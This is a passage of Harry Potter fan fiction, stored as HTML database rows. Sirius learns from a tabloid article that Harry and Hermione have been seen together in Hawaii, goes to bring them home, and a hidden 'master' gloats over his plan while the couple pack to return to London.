crime. Someone always made a mistake that tipped his or her hand, so to speak. So far, the mastermind behind this plan had yet to make any errors or leave anything behind that could point to their true identity. It was like looking for the needle in the proverbial haystack. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; On the bright side, Hermione was safe with Harry in Hawaii. He hoped that they had worked out their differences. He knew true love when he saw it. He&#8217;d seen it with Lily and James and he&#8217;d seen it years later in Lily &amp; James&#8217; son. There was no mistaking Harry&#8217;s love for Hermione. They belonged together, Sirius believed. He hoped that the two of them would forget stubborn pride and realize the truth. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He wearily made his way to the kitchen to brew a pot of coffee, but was delayed by the sound of an insistent knock on the door. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;One moment,&#8221; Sirius said, gruffly. The knocking continued, more insistent. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hold your horses,&#8221; Sirius said, walking determinedly toward the door. He opened the door. &#8220;Joyce.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s assistant Joyce was standing on the doorstep clutching a paper. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s a little too early for you to be knocking so loudly on the door, isn&#8217;t it?&#8221; Sirius said, ushering her inside. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s nearly 2 in the afternoon, Sirius,&#8221; Joyce said, incredulously. She took one look at the messy couch and opted for a seat on the armchair. &#8220;I take it you just got up.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Sirius said. &#8220;Remus and I tried to out-drink each other last night. Remind me never to do that again. So, what brings you hear so early, I mean at this time of day, love?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I take it you haven&#8217;t seen this morning&#8217;s edition of <i>The Daily Prophet</i>,&#8221; Joyce said. &#8220;It&#8217;s been the talk of The Ministry this morning.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She unfolded the paper and offered it over to Sirius. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hold on one minute,&#8221; Sirius said. &#8220;I need my reading glasses. Where did I put them?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius put the paper down and looked around at the apartment. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You have them on, Sirius,&#8221; Joyce said, stifling a laugh. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius put his hand up to his face and laughed, sheepishly. &#8220;So they are, then. So they are. Now, let&#8217;s see.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He picked <i>The Daily Prophet</i> up off the coffee table and began to read. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Bloody hell!&#8221; Sirius exclaimed. &#8220;How in the--?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He looked at Janet, who was at a loss for words. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This is bad,&#8221; Sirius said, continuing to scan the pictures and article. &#8220;This is very, very bad.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>\n\n\n<br>\n The article read: </p>\n\n<p>LOVE ON THE ROCKS? <br>\n THE TRUTH ABOUT HARRY POTTER&#8217;S RETURN</p>\n\n<p>By Nicola Patterson (WIZARDING WORLD NEWS) </p>\n\n<p>&nbsp;</p>\n\n<p>Harry Potter&#8217;s return to London had tongues wagging this past fortnight. Potter came back under the pretense to congratulate his best friends, Hermione Granger and Ronald Weasley, on their recent engagement. </p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Or did he? It appears Potter came back to break up, not congratulate the happy couple. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Our colleagues at The World Wizarding News have confirmed reports of Potter/Granger sightings in the United States, namely Honolulu, Hawaii. Potter and Granger have been seen and photographed enjoying the sand, sun and attractions of the Hawaiian paradise. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; An anonymous source says that the secret would-be lovers were caught in a clandestine kiss on the beach after a late night at a luau. The source also confirms that Granger and Potter are sharing a hotel suite. </i></p>\n\n<p><i>What does this mean for The Wedding of the Year? Will it still happen? And if so, who will be the groom? </i></p>\n\n<blockquote><i>Owls to Ron Weasley, the groom-to-be, went unanswered.</i></blockquote>\n\n<blockquote><i>Keep reading this newspaper for further updates on this story and more.&nbsp; </i></blockquote>\n\n<blockquote><i>&nbsp;</i></blockquote>\n\n<blockquote>Sirius dropped the newspaper. </blockquote>\n\n<blockquote>Joyce stared at him. &#8220;So?&#8221; she asked. </blockquote>\n\n<blockquote>&#8220;So,&#8221; Sirius repeated. &#8220;I&#8217;m going to have to get in touch with Harry.&#8221; </blockquote>\n\n<blockquote>Joyce looked at him, concerned.&nbsp; &#8220;But how? Do you even know where they are?&#8221; </blockquote>\n\n<blockquote>&#8220;Yes,&#8221; Sirius said. &#8220;I should probably leave as soon as possible.&#8221; </blockquote>\n\n<blockquote>&nbsp;</blockquote>\n\n<blockquote>&#8220;Do you need any help?&#8221; Joyce asked. </blockquote>\n\n<blockquote>Sirius smiled and shook his head no. &#8220;You&#8217;ve already helped so much on this.&#8221; </blockquote>\n\n<blockquote>&#8220;Well, I&#8217;d better get back to the office,&#8221; Joyce said. &#8220;It&#8217;s a madhouse. I had to slip out. I just wanted to make sure you saw this.&#8221; </blockquote>\n\n<blockquote>&nbsp;</blockquote>\n\n<blockquote>Sirius looked up from the paper. He&#8217;d begun to re-read it as Joyce had began walking to the door. He stopped her suddenly. &#8220;Joyce, have you seen or heard from Ron since this story broke?&#8221; </blockquote>\n\n<blockquote>&#8220;No,&#8221; Joyce said. &#8220;I do know that his team is in New Zealand for some promotional stuff. Maybe there&#8217;s a chance he hasn&#8217;t seen the article.&#8221; </blockquote>\n\n<blockquote>&#8220;I think that&#8217;s highly unlikely,&#8221; Sirius said. &#8220;This story is huge. If Wizarding World News is covering it, it&#8217;s gone global.&#8221; </blockquote>\n\n<blockquote>&#8220;Let me know if you need anything,&#8221; Joyce said. &#8220;Anything at all.&#8221; </blockquote>\n\n<blockquote>&#8220;Thanks,&#8221; Sirius said, getting up to show her to the door. &#8220;I&#8217;ll be in touch.&#8221; </blockquote>\n\n<p>He closed the door behind her and went back over to the couch. He picked the paper back up and looked at the picture. Harry and Hermione smiled back at him from the photo. They looked happy and in love. Hermione was wearing a blue bikini and Harry was wearing green swimming trunks.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>In the photo, Hermione kissed Harry&#8217;s cheek and Harry playfully tickled her side. The young couple in the photo had no care in the world. They waved enthusiastically at him. They didn&#8217;t know that a thousand miles away, all hell was breaking loose at home. </p>\n\n<blockquote>&nbsp;</blockquote>\n\n<blockquote>&nbsp;</blockquote>\n\n<p>&#8220;You know we are eventually going to have to leave this room?&#8221; Hermione playfully asked Harry. They were lying in bed, Hermione&#8217;s head resting on Harry&#8217;s chest. </p>\n\n<blockquote>&#8220;I don&#8217;t see why,&#8221; Harry said. &#8220;We have room service for food. We have running water. We have plumbing. And I have the most beautiful woman in the world right here with me. Why would I ever need to leave this room?&#8221; </blockquote>\n\n<blockquote>Hermione turned to face him. &#8220;That&#8217;s a good point. Okay, you&#8217;re right. We never have to leave this room again.&#8221; </blockquote>\n\n<blockquote>&#8220;What was that?&#8221; Harry said. &#8220;I was right? You are going to have to repeat that again.&#8221; </blockquote>\n\n<blockquote>&#8220;No,&#8221; Hermione said, giggling. &#8220;You heard me the first time. I&#8217;m not repeating that. It was hard enough to say it the first time. You know that I&#8217;m very rarely wrong and when I am, I don&#8217;t like to admit it. So, you&#8217;ll have to live with the memory of me saying it that one time.&#8221; </blockquote>\n\n<blockquote>&#8220;You&#8217;re no fun,&#8221; Harry said, kissing her. &#8220;So, what do you want for dinner tonight?&#8221;</blockquote>\n\n<blockquote>&#8220;I chose lunch. Your turn,&#8221; Hermione said. </blockquote>\n\n<blockquote>Harry fumbled for the room service menu that sat on the bedside table.&nbsp; &#8220;We&#8217;re going to go broke on room service, you know that?&#8221; </blockquote>\n\n<blockquote>&#8220;Harry, let&#8217;s go down to the hotel restaurant to eat,&#8221; Hermione said, sitting up in bed. &#8220;And then we can go walking on the beach. It&#8217;ll be so romantic.&#8221; </blockquote>\n\n<blockquote>&#8220;Okay,&#8221; Harry said. &#8220;We should probably get cleaned up then.&#8221; </blockquote>\n\n<blockquote>&#8220;I got dibs on the shower first,&#8221; Hermione said. </blockquote>\n\n<blockquote>&#8220;You sure are bossy, you know that?&#8221; Harry said, watching her as she got up and grabbed her robe and a towel. She turned back to him, and playfully threw a pillow at him. </blockquote>\n\n<blockquote>&#8220;That&#8217;s one of the things you love about me,&#8221; Hermione said. She gave him one last smile and then entered the bathroom.</blockquote>\n\n<blockquote>&nbsp;</blockquote>\n\n<blockquote>A couple of hours later, they were on their way out the door of their suite to go out to eat. Hermione wore a long, black, floral-print sundress with open-toe black sandals. She&#8217;d pulled her hair back into a low plait. The locket Harry had given her adorned her neck. </blockquote>\n\n<blockquote>&#8220;You know if you dress like that, I don&#8217;t want to take you out,&#8221; Harry said, locking the door behind them. &#8220;I want to take you back in there.&#8221; </blockquote>\n\n<blockquote>Hermione smiled. She playfully swatted at his arm. &#8220;You don&#8217;t look so bad yourself. You clean up pretty well, Potter.&#8221; </blockquote>\n\n<blockquote>Harry was dressed in a pair of khaki pants, a blue button-down shirt and loafers. He leaned in to kiss her, but she backed off. </blockquote>\n\n<blockquote>&#8220;I&#8217;m starving, Harry,&#8221; Hermione said. &#8220;If you do that, you know we&#8217;ll never get downstairs. Now, come on.&#8221; </blockquote>\n\n<blockquote>They were laughing as they got into the elevator. An old man and his wife were already inside. They smiled warmly at Harry and Hermione as they rode the elevator down to the lobby. </blockquote>\n\n<blockquote>&#8220;That&#8217;s an interesting scar you&#8217;ve got there, young man,&#8221; the old man said. &#8220;How&#8217;d you get something like that?&#8221;</blockquote>\n\n<blockquote>Harry and Hermione exchanged nervous glances. </blockquote>\n\n<blockquote>&#8220;I&#8217;ve had it since I was a baby, actually,&#8221; Harry said. &#8220;Bizarre home accident or something.&#8221; </blockquote>\n\n<blockquote>&#8220;All part of his charm,&#8221; Hermione said, grabbing Harry&#8217;s hand. </blockquote>\n\n<blockquote>The older couple just smiled back at them and bid them a polite goodbye as they reached the lobby. </blockquote>\n\n<blockquote>&#8220;I don&#8217;t know why I got so nervous in there,&#8221; Harry said, pointing to the scar on his forehead. &#8220;You know I kind of like no one here knowing who we are or what we are.&#8221; </blockquote>\n\n<blockquote>&#8220;It is nice,&#8221; Hermione agreed. </blockquote>\n\n<blockquote>&nbsp;</blockquote>\n\n<blockquote>After they&#8217;d sat down at the table, Hermione took Harry&#8217;s hand. </blockquote>\n\n<blockquote>&#8220;You&#8217;ve gotten awfully quiet,&#8221; Hermione said. </blockquote>\n\n<blockquote>&#8220;I&#8217;m still thinking about that incident in the elevator,&#8221; Harry said. &#8220;I know it hasn&#8217;t been easy on you or Ron, being my friend.&#8221;</blockquote>\n\n<blockquote>Hermione gave him a look of exasperation. &#8220;Harry, we&#8217;ve talked about this before.&#8221; </blockquote>\n\n<blockquote>&#8220;I know,&#8221; Harry said. &#8220;You guys didn&#8217;t deserve all the stuff that came about because of your friendship with me. You wouldn&#8217;t have gotten into so much trouble or had to sacrifice so much, if you&#8217;d not been my friend.&#8221; </blockquote>\n\n<blockquote>&#8220;Well, you know what I got from being your friend?&#8221; Hermione asked him, not really wanting him to answer. &#8220;Do you remember how awful I was that first year? I was so into my &#8216;books and cleverness&#8217;. You taught me there were more important things. And I know I&#8217;ve said this before, but there are more important things, like friendship, bravery and love. I never would have known any of those things if it hadn&#8217;t been for you. If I had known then what I know now, I still wouldn&#8217;t change a thing. You know, this is going to sound really cheesy, but that&#8217;s what friends do. That&#8217;s what people in love do. They stick with you when you&#8217;re at your best and they stick with you when you&#8217;re at your worst. There&#8217;s no place in this world that I&#8217;d rather be than right by your side.&#8221; </blockquote>\n\n<blockquote>Harry tried to smile at her. He&#8217;d never liked her to see him cry, and he&#8217;d felt the tears coming to his eyes as she&#8217;d spoken. </blockquote>\n\n<blockquote>He grasped her hand from across the table and gave it a tight squeeze. &#8220;I love you so much.&#8221; </blockquote>\n\n<blockquote>&#8220;Ditto,&#8221; she said, laughing. &#8220;Now, let&#8217;s eat. I&#8217;m starving.&#8221; </blockquote>\n\n<blockquote>&nbsp;</blockquote>\n\n<p>From across the restaurant, Sirius Black watched the two of them. He could tell from their actions and their body language around each other that they were together in every sense of the word. He hated to do what he was about to do, but he knew he had to. They had to know what had happened. </p>\n\n '),
	(255, 18, ' <p>Authors Note: Still none of these great characters belong to me. I want to thank everyone who&#8217;s taken the time to give me feedback! You guys rock! I hope you enjoy the chapter&#8230;.</p>\n\n<p>&nbsp;</p>\n\n<p>Chapter 18 </p>\n\n<p>&#8220;All Good Things&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Is he awake?&#8221; the student asked as he arrived for the meeting. He&#8217;d dropped everything when he&#8217;d received the urgent owl post that his presence was required immediately at the safe house. Of course, he&#8217;d had to make doubly sure that no one saw him leave and that no one suspected anything was amiss. He hadn&#8217;t been followed. He&#8217;d made sure of that. </p>\n\n<p>The master&#8217;s minion looked up from his book and nodded. &#8220;He&#8217;s been expecting you.&#8221;</p>\n\n<p>&#8220;Right then,&#8221; the student whispered. With a quick glance around the house, he slipped through the steel gray doors. The house was cold, almost bone-chillingly so. The windows, which were boarded up from the outside, also bore heavy drapes that blocked out any sunshine.</p>\n\n<p>To the outside world, there was nothing in this house except for cobwebs, field mice and spiders. The outside world had no idea that there was something far more sinister inside this house than a field mouse or a black widow spider. Pretty soon, the others would know. They would all know what kind of force and power and darkness lurked in these halls.</p>\n\n<p>The student walked down the long, narrow hallway toward the master&#8217;s bedroom. He&#8217;d been confined to his bed the past couple of days. His strength came and went so frequently these days, that he&#8217;d been urged by his own personal medi-wizard to rest whenever possible. This news hadn&#8217;t been met with much resistance. The master knew that he would need his strength for the battle that lay ahead. He&#8217;d willingly taken to his bed for rest and relaxation. He dreamt dreams of bringing down those who&#8217;d taken everything he&#8217;d worked so hard for away.</p>\n\n<p>He was resting in his four-poster bed. Large red drapes covered the bed and a line of candles lit the room. The student came forward hesitantly as the master beckoned for him to come closer.</p>\n\n<p>&#8220;I called for you nearly an hour ago,&#8221; the master whispered, hoarsely. &#8220;What part of immediately did you not understand?&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry, master,&#8221; the student said. &#8220;I had to make sure I wasn&#8217;t followed. And I wanted to make sure that my leaving wasn&#8217;t going to be seen as suspicious.&#8221; <br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Silence,&#8221; the master said. &#8220;I don&#8217;t care to hear your excuses. What have you heard?&#8221;</p>\n\n<p>&#8220;They know,&#8221; the student said.&nbsp; He could feel his hands shaking and he quickly shoved his hands into his pants pockets. &#8220;Granger and Potter both know. They&#8217;ve seen the article. Sirius Black has gone to Hawaii to retrieve them. I expect they&#8217;ll be back in London quite soon.&#8221;</p>\n\n<p>The master smiled. &#8220;It&#8217;s going just as I planned. It&#8217;s all coming together now. They&#8217;re behaving just as I said they would. The press is eating this up. Ah, but you just wait until they find out the real truth. Wait until they find out what&#8217;s really coming. They won&#8217;t know what hit them.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione felt as if she was moving in slow motion. She knew that they needed to hurry. Their flight was scheduled for 1 a.m.&#8212;the redeye back to London. They could have probably apparated back with Sirius, but had decided to take the longer route home. They weren&#8217;t really in a hurry to get there.</p>\n\n<p>So here she was in her bedroom with the suitcase open, but no clothes or accessories inside it. She sat on the edge of her bed, her head in her hands. She had managed to change out of her sundress into a pair of beige Capri pants and a blue peasant-style blouse. She&#8217;d kept her hair in its plait, but it looked messier than it had when the night began.</p>\n\n<p>&#8220;How had all this happened? How had everything fallen apart so fast?&#8221; she couldn&#8217;t help thinking as she sat on the bed. It had only been a few short hours ago that she and Harry had been sharing a romantic dinner in the hotel restaurant. </p>\n\n<p>They&#8217;d been debating whether or not to order dessert when Hermione spotted a familiar sight across the room. Rather, a familiar sight in a very unfamiliar getup. She stared as she watched a man, a man who looked just like Sirius Black, decked out in a loud Hawaiian shirt with a pair of green Bermuda shorts. He wore sandals on his feet and a pair of sunglasses on his face. Hermione had never seen Sirius look so colorful. In all the years she&#8217;d known him, she&#8217;d never seen him in any color other than brown, black or gray.</p>\n\n<p>She sat with her mouth wide open as he came closer. Amused at what was making Hermione look so shocked, Harry turned to see his godfather walking toward him. He, too, mirrored Hermione&#8217;s expression. When Sirius reached their table, the two of them burst out in a fit of giggles.</p>\n\n<p>&#8220;What in bloody hell?&#8221; Harry asked, finally regaining his composure. &#8220;Okay, who are you and what did you do to my godfather?&#8221;</p>\n\n<p>Sirius frowned. &#8220;Harry,&#8221; he began. &#8220;I had to blend in with the natives, so to speak.&#8221; He pulled up an empty chair from a table near them. </p>\n\n<p>Hermione let out a guffaw at this remark. &#8220;Blend in? Sirius, you stick out like a sore thumb in here!&#8221;</p>\n\n<p>It was quite true. Although the atmosphere was hardly formal, it wasn&#8217;t casual. Most of the restaurant patrons were somewhat dressed up. Sirius&#8217; tourist getup was quite conspicuous.</p>\n\n<p>&nbsp;&#8220;Very funny, very funny,&#8221; Sirius said. &#8220;Well, don&#8217;t get to used to it. I don&#8217;t think these colors are very me, anyway.&#8221;</p>\n\n<p>Harry dissolved into laughter again. After a few more smart remarks at Sirius&#8217; expense, Harry and Hermione looked at him expectantly. </p>\n\n<p>&#8220;Okay, then. You certainly didn&#8217;t come all this way just to get a wardrobe makeover. So, let&#8217;s hear it,&#8221; Harry said. </p>\n\n<p>&#8220;Does this mean we can go home?&#8221; Hermione asked. </p>\n\n<p>&#8220;All in good time, my dear,&#8221; Sirius said. &#8220;We should probably go upstairs to your room. We have no idea who might be listening in.&#8221; </p>\n\n<p>Harry and Hermione quickly looked around the restaurant after Sirius said this. Should they have been concerned? Surely, no one from their world knew they were here, did they? They&#8217;d been careful not to do too much to draw attention to themselves, hadn&#8217;t they? They hadn&#8217;t used magic at all on this trip, not even once, barring the time after they&#8217;d arrived when they&#8217;d both drank the anti-jetlag potion Hermione had brought along. </p>\n\n<p>Harry nodded. &#8220;We can go back up to the room, then.&#8221;&nbsp; After agreement with Hermione, Harry quickly took out a couple of twenty dollar bills and lay them on the table. Taking Hermione&#8217;s hand, he led her and Sirius back up to their room. </p>\n\n<p>Once inside, Hermione and Harry looked expectantly at Sirius. He hadn&#8217;t said much on the lift. He&#8217;d been rather quiet, which only raised both of their apprehension at his sudden appearance. Whatever it was, it couldn&#8217;t be good news. </p>\n\n<p>Taking a seat on the couch beside Harry, Hermione urged Sirius to tell them what was going on. They both watched as Sirius took a crumpled piece of paper from his pocket. It looked like a torn-out newspaper article to Hermione. He didn&#8217;t say anything to them, as he simply handed them the article. He took a seat across from the couch as he watched them read the article. He watched as both of their expressions turned from curiosity, to shock, and then to despair. </p>\n\n<p>Hermione got up from the sofa and walked over to the window. Harry still sat on the couch holding the paper, but not saying a word. </p>\n\n<p>The silence was deafening. Hermione finally said, &#8220;When was this in the paper?&#8221; </p>\n\n<p>&#8220;Tuesday last,&#8221; Sirius said. &#8220;It&#8217;s the talk of the town, so to speak. It&#8217;s the talk of the whole bloody country, if you must know.&#8221; </p>\n\n<p>Harry finally dropped the paper and asked the question that both he and Hermione had been thinking since they&#8217;d read the article. &#8220;Does Ron know? Has he seen it?&#8221; </p>\n\n<p>&#8220;No one knows,&#8221; Sirius said. &#8220;We haven&#8217;t heard or spoken to him in days. He was on a promotion tour in New Zealand for the team and he hasn&#8217;t checked in with anyone. He has to have seen it though, Wizarding World News also ran the story.&#8221; </p>\n\n<p>&#8220;And the Weasleys?&#8221; Harry asked. </p>\n\n<p>&#8220;You know they&#8217;ve seen it,&#8221; Hermione said, sadly. </p>\n\n<p>Harry turned around to look at Hermione. She was still staring out at the window. He wanted to comfort her. He wanted to go to her and take her in his arms and tell her that everything would be okay, but he couldn&#8217;t do that. He didn&#8217;t know if things would be okay. He couldn&#8217;t be sure if things would ever be okay again. If he&#8217;d even tried to lie to her, she&#8217;d have seen right through it. There wasn&#8217;t really anything that he could say. He turned his concentration back to Sirius. </p>\n\n<p>&#8220;So what should we do now?&#8221; he asked. </p>\n\n<p>Sirius stood up and took Hermione&#8217;s empty seat on the sofa. He put an arm on Harry&#8217;s shoulder. &#8220;I think you should come back as soon as possible. With all of your luggage it&#8217;d probably be best if you took a flight back instead of apparating.&#8221; </p>\n\n<p>Harry nodded. &#8220;I, um, I guess I&#8217;ll go call the airline and see when the next flight for London is.&#8221; </p>\n\n<p>He took a long look at Hermione as he stood up from the couch. He walked into his bedroom and closed the door. </p>\n\n<p>Hermione had begun to cry and Sirius quickly stood up from the couch and put a reassuring arm on her shoulder. </p>\n\n<p>&#8220;You okay, love?&#8221; he asked. &#8220;Hey, it&#8217;s okay. Go ahead and cry. Let it out.&#8221; </p>\n\n<p>Hermione turned suddenly and hugged Sirius with all her might. </p>\n\n<p>&#8220;What have I done?&#8221; she asked him. </p>\n\n<p>&#8220;You followed your heart,&#8221; he said. &#8220;Can&#8217;t blame you for that.&#8221; </p>\n\n<p>&#8220;Yeah, but at what cost?&#8221; she asked, between sobs. </p>\n\n<p>&#8220;Hold on to Harry, sweetheart,&#8221; he said, looking her straight in the eyes. &#8220;Hold on to him, and the two of you will get through this together.&#8221;</p>\n\n<p>&#8220;How did you know we were--,&#8221; she began to ask him. </p>\n\n<p>&#8220;I&#8217;m old, not senile, Hermione,&#8221; Sirius said. &#8220;I know young love when I see it. I watched the two of you for a while downstairs before I approached you. You looked happy and in love and together. You can&#8217;t hide that. The eyes give it away everytime, you know. That&#8217;s one of the first things that I was ever taught when I became an auror. The eyes never lie. If you want to know insight into a man&#8217;s soul, you look into his eyes. It never fails.&#8221; </p>\n\n<p>&#8220;What are we going to do about Ron, though?&#8221; Hermione said. &#8220;This is going to crush him.&#8221; </p>\n\n<p>Sirius said. &#8220;He&#8217;ll be hurt, no doubt, but he&#8217;s a strong person. He&#8217;ll get through this. And so will you and Harry, trust in that.&#8221; </p>\n\n<p>Hermione smiled and wiped away a tear. &#8220;You almost make me believe that could happen.&#8221; </p>\n\n<p>She gave him an appreciative hug and saw that Harry had returned to the room. </p>\n\n<p>&#8220;There&#8217;s a flight at one a.m.,&#8221; Harry said. &#8220;I booked us a couple of seats.&#8221; </p>\n\n<p>Hermione gave him a slight smile, &#8220;Okay, I guess we&#8217;d better pack.&#8221; </p>\n\n<p>Harry nodded. &#8220;Yeah, me too. Sirius, are you sure you don&#8217;t want to fly back with us?&#8221;</p>\n\n<p>&#8220;Yes,&#8221; he said. &#8220;I&#8217;m going to apparate back. We&#8217;ve still got a case to solve, you know?&#8221; </p>\n\n<p>He gave Hermione an encouraging smile and walked over to his godson and gave him a hug. &#8220;You two best be careful, now. Take care of each other.&#8221; </p>\n\n<p>Harry walked him to the door and came back a few seconds later. Hermione had left the living room. Her bedroom door was closed. Harry thought about knocking on the door, but didn&#8217;t. She obviously wanted to be alone. With one last look at her closed door, he walked toward his own bedroom to begin to pack. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione had finally finished packing and she hooked the latch on her suitcase.&nbsp; She heard a slight knock on the door. </p>\n\n<p>&#8220;Come in,&#8221; she said. </p>\n\n<p>Harry was standing there, looking lost. &#8220;I wanted to know if you needed any help?&#8221; </p>\n\n<p>&#8220;No, I&#8217;ve got it,&#8221; she said. &#8220;I guess this is it, then.&#8221; </p>\n\n<p>&#8220;Yeah,&#8221; he said. &#8220;All good things must come to an end, right?&#8221;</p>\n\n<p>Hermione hated this. Things seemed so formal between them, so distant all of a sudden. It wasn&#8217;t a feeling that she liked. </p>\n\n<p>&#8220;Are you ready?&#8221; he asked. </p>\n\n<p>She looked at him. &#8220;No,&#8221; she said. &#8220;I&#8217;m not.&#8221; </p>\n\n<p>He smiled. &#8220;Me, either. How about we stay here?&#8221; </p>\n\n<p>She walked over to him and wrapped her arms around him. &#8220;We can&#8217;t.&#8221; </p>\n\n<p>&#8220;I know,&#8221; he said. &#8220;We have to go back. Clean up the mess that we made.&#8221; </p>\n\n<p>&#8220;We made our beds, I guess it&#8217;s time to lie in them,&#8221; Hermione said. &#8220;So to speak.&#8221; </p>\n\n<p>Harry sat down on Hermione&#8217;s bed. She took a seat beside him and put her hand on his knee. &#8220;It&#8217;s going to be hard. We&#8217;ve hurt a lot of people. Our being together is going to hurt a lot of people; namely, someone we both care a great deal about.&#8221; </p>\n\n<p>Harry nodded. &#8220;Yeah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>There was a knock on the door and Hermione rose to answer it. It was the bellman here to collect their luggage. </p>\n\n<p>&#8220;I&#8217;ll just carry your bags downstairs,&#8221; the bellman said, putting their luggage on a trolley. </p>\n\n<p>&#8220;We&#8217;ll be right down,&#8221; Harry said, handing him a couple of dollars. &#8220;Thanks.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After he&#8217;d left, Hermione and Harry agreed to check around the suite to make sure they&#8217;d left nothing behind. Within a few moments, they were at the door ready to leave, but Harry grabbed Hermione&#8217;s shoulder. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I love you,&#8221; he said. &#8220;I don&#8217;t want you to forget that. Whatever happens back home, remember that. I&#8217;m not leaving. I don&#8217;t want to lose you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She stared at him. He regretted what he&#8217;d said immediately. She obviously didn&#8217;t need to hear that, now. He&#8217;d spoken too soon, he thought sadly. He looked down at the carpeting, not wanting to meet her gaze. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When he looked back up, he was shocked to see her beaming at him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; he asked her. &#8220;Say something.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She put her forehead to his and smiled brightly at him. &#8220;You couldn&#8217;t lose me if you tried, you ought to know that by now.&#8221; </p> '),
